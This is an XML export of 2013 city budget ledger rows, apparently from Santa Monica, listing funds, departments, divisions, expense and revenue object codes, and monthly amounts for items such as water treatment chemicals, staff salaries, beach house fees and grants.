<row _id="3382"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>672</division_id><division_name>CHARNOCK TREATMENT PLANT</division_name><object>544011.0</object><object_description>CHEMICALS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>140239.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>140239.0</total></row>
<row _id="3383"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>673</division_id><division_name>ARCADIA TREATMENT PLANT</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>120000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>120000.0</total></row>
<row _id="3384"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>673</division_id><division_name>ARCADIA TREATMENT PLANT</division_name><object>544011.0</object><object_description>CHEMICALS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>787284.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>787284.0</total></row>
<row _id="3385"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>544199.0</object><object_description>OTHER MATERIALS AND SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>244496.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>244496.0</total></row>
<row _id="3386"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>560070.0</object><object_description>INDUSTRIAL SAFETY SHOES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>600.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>600.0</total></row>
<row _id="3387"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>404710.0</object><object_description>415 PCH - DAY USE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-136940.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-136940.0</total></row>
<row _id="3388"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>404710.0</object><object_description>415 PCH - DAY USE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-51900.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-51900.0</total></row>
<row _id="3389"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>514905.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>5149</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>520054.0</total></row>
<row _id="3390"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>626.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>626.0</total></row>
<row _id="3391"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1500.0</total></row>
<row _id="3392"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>5000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="3393"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>545010.0</object><object_description>AQUATIC SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="3394"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>545030.0</object><object_description>CULTURAL SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>25000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>25000.0</total></row>
<row _id="3395"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1027.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1027.0</total></row>
<row _id="3396"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>3802.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3802.0</total></row>
<row _id="3397"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>411.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>411.0</total></row>
<row _id="3398"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>9690.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>9690.0</total></row>
<row _id="3399"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>18129.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>18129.0</total></row>
<row _id="3400"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1116356.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1116356.0</total></row>
<row _id="3401"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2437.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2437.0</total></row>
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<row _id="3405"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>128145.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>128145.0</total></row>
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<row _id="3407"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>511050.0</object><object_description>CAPITAL PROJECT STAFFING</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-157500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-1575</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-159075.0</total></row>
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<row _id="3412"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>407814.0</object><object_description>LANTANA-CHILDCARE</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2013</fiscal_year><july>-80000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>80000</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
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<row _id="3414"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>401090.0</object><object_description>INDIRECT COSTS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-10831405.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>10831405</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="3415"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>406799.0</object><object_description>13 UASI GRANT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>-752076</may><june>0.0</june><total>-752076.0</total></row>
<row _id="3416"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>410140.0</object><object_description>TRANSPORTATION ENG SVCS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-25547.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-25547.0</total></row>
<row _id="3417"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>410170.0</object><object_description>SIGN REMOVAL</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-5880.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-5880.0</total></row>
<row _id="3418"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>578020.0</object><object_description>HOME PROGRAM ADMIN</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-50204</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-50204.0</total></row>
<row _id="3419"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-24960.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-24960.0</total></row>
<row _id="3420"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>3096.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3096.0</total></row>
<row _id="3421"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>900.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>900.0</total></row>
<row _id="3422"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>161000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>161000.0</total></row>
<row _id="3423"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>407490.0</object><object_description>PLAN CHECK FEES-LANDSCAPE&amp;FORE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-123600.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-123600.0</total></row>
<row _id="3424"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>204908.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>2049</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>206957.0</total></row>
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<row _id="3427"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>216.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>216.0</total></row>
<row _id="3428"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>165000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>165000.0</total></row>
<row _id="3429"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>77860.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>77860.0</total></row>
<row _id="3430"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>8600.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>8600.0</total></row>
<row _id="3431"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>566650.0</object><object_description>MALL MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>147000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>147000.0</total></row>
<row _id="3432"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>400470.0</object><object_description>POLICE PERMITS</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2013</fiscal_year><july>-110338.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-110338.0</total></row>
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<row _id="3434"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>5249.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5249.0</total></row>
<row _id="3435"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>406000.0</object><object_description>ESTIMATED FEE INCREASES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="3436"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>511050.0</object><object_description>CAPITAL PROJECT STAFFING</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-157500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-1575</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-159075.0</total></row>
<row _id="3437"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400480.0</object><object_description>SALES TAX IN-LIEU</object_description><category_code>604.0</category_code><category_code_description>Sales Tax</category_code_description><fiscal_year>2013</fiscal_year><july>-8500116.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-8500116.0</total></row>
<row _id="3438"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>402920.0</object><object_description>PROP A LOCAL RETURN</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>-1151756.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>1151756</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="3439"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>44</fund_id><fund_name>SCAQMD AB 2766 Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>400750.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2013</fiscal_year><july>-4000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>4000</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="3440"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>579001.0</object><object_description>DISCRET-SECTION 8 ASST</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>100000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>100000.0</total></row>
